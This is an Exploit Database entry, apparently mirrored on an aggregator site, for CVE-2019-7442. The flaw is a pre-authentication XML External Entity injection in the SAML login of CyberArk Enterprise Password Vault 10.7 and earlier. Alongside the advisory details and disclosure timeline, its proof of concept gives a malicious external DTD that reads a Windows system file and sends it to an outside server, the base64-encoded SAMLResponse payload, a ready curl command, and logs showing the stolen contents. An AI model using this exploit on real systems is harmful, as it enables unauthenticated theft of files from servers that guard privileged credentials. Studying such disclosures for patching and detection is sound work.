CyberArk Enterprise Password Vault 10.7 – XML External Entity Injection

• Exploit Database
• 17 阅读

• 作者： Marcelo Toran
  日期： 2019-05-10
• 类别：

  • webapps
  平台：

  • multiple
• 来源：https://www.exploit-db.com/exploits/46828/

• # Exploit Title: CyberArk XML External Entity (XXE) Injection in SAML
  authentication
  # Date: 10/05/2019
  # Exploit Author: Marcelo Toran (@spamv)
  # Vendor Homepage: https://www.cyberark.com
  # Version: <=10.7
  # CVE : CVE-2019-7442
  
  
  -----------Product description
  The CyberArk Enterprise Password Vault is a privileged access security
  solution to store, monitor and rotate credentials. The main objective
  of the solution is protecting the privileged accounts that are used to
  administrate the systems of the organisations.
  
  -----------Vulnerability description
  This vulnerability allows remote attackers to disclose sensitive
  information or potentially bypass the authentication system.
  
  -----------Vulnerability Details
  # Exploit Title: XML External Entity (XXE) Injection in SAML authentication
  # Affected Component: Password Vault Web Access (PVWA)
  # Affected Version: <=10.7
  # Vendor: CyberArk
  # Vendor Homepage: https://www.cyberark.com
  # Date: 18/12/2018
  # CVSS Base Score: 7.5 (High)
  # CVSS Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
  # Exploit Author: Marcelo Torán (Nixu Corporation)
  # CVE: CVE-2019-7442
  # CVE URL: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-7442
  
  -----------Technical Description
  It has been found that the XML parser of the SAML authentication
  system of the Password Vault Web Access (PVWA) is vulnerable to XML
  External Entity (XXE) attacks via a crafted DTD. No user interaction
  or privileges are required as the vulnerability is triggered in
  pre-authentication.
  The vulnerable component is: https://example.com/PasswordVault/auth/saml
  The vulnerable argument: SAMLResponse
  
  -----------POC
  
  # pepe.dtd is an external entity stored in a remote web server where we define the file that will be read and the server that will be used for the exfiltration:
  <!ENTITY % data SYSTEM "file:///C:/Windows/win.ini">
  <!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://externalserver.com/?%data;'>">
   
   
  # The malicious XML payload where is defined the address of the external entity defined in the previous step:
  <!DOCTYPE r [
  <!ELEMENT r ANY >
  <!ENTITY % sp SYSTEM "http://externalserver.com/pepe.dtd">
  %sp;
   
  %param1;
   
  ]>
  <r>&exfil;</r>
   
   
  # XML payload base64 encoded + equal symbols URL encoded:
  PCFET0NUWVBFIHIgWwo8IUVMRU1FTlQgciBBTlkgPgo8IUVOVElUWSAlIHNwIFNZU1RFTSAiaHR0cDovL2V4dGVybmFsc2VydmVyLmNvbS9wZXBlLmR0ZCI+CiVzcDsKJXBhcmFtMTsKXT4KPHI+JmV4ZmlsOzwvcj4%3d
   
   
  # CURL command to exploit the XXE:
  curl -i -s -k-X $'POST' \
  -H $'Host: example.com' -H $'User-Agent: PoC CyberArk XXE Injection :(' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Content-Length: 177' -H $'Connection: close' -H $'Upgrade-Insecure-Requests: 1' \
  --data-binary $'SAMLResponse=PCFET0NUWVBFIHIgWwo8IUVMRU1FTlQgciBBTlkgPgo8IUVOVElUWSAlIHNwIFNZU1RFTSAiaHR0cDovL2V4dGVybmFsc2VydmVyLmNvbS9wZXBlLmR0ZCI+CiVzcDsKJXBhcmFtMTsKXT4KPHI+JmV4ZmlsOzwvcj4%3d' \
  $'https://example.com/PasswordVault/auth/saml/'
   
   
  # Checking the logs of the external server:
  example.com - - [XX/XX/XX XX:XX:XX] "GET /pepe.dtd HTTP/1.1" 200 -
  example.com - - [XX/XX/XX XX:XX:XX] "GET /?;%20for%2016-bit%20app%20support%0D%0A%5Bfonts%5D%0D%0A%5Bextensions%5D%0D%0A%5Bmci%20extensions%5D%0D%0A%5Bfiles%5D%0D%0A%5BMail%5D%0D%0AMAPI=1 HTTP/1.1" 200 -
   
   
  # And decoding the content of the logs it's possible to read the requested file of the machine:
  ; for 16-bit app support
  [fonts]
  [extensions]
  [mci extensions]
  [files]
  [Mail]
  MAPI=1
  
  -----------Timeline
  18/12/2018 – Vulnerability discovered
  10/01/2019 – Vendor notified
  23/01/2019 – Vulnerability accepted
  05/02/2019 – CVE number requested
  05/02/2019 – CVE number assigned
  19/02/2019 – Vendor released a patch
  19/02/2019 – Advisory released
  
  -----------Proof of Concept (PoC)
  
  https://www.octority.com/2019/05/07/cyberark-enterprise-password-vault-xml-external-entity-xxe-injection/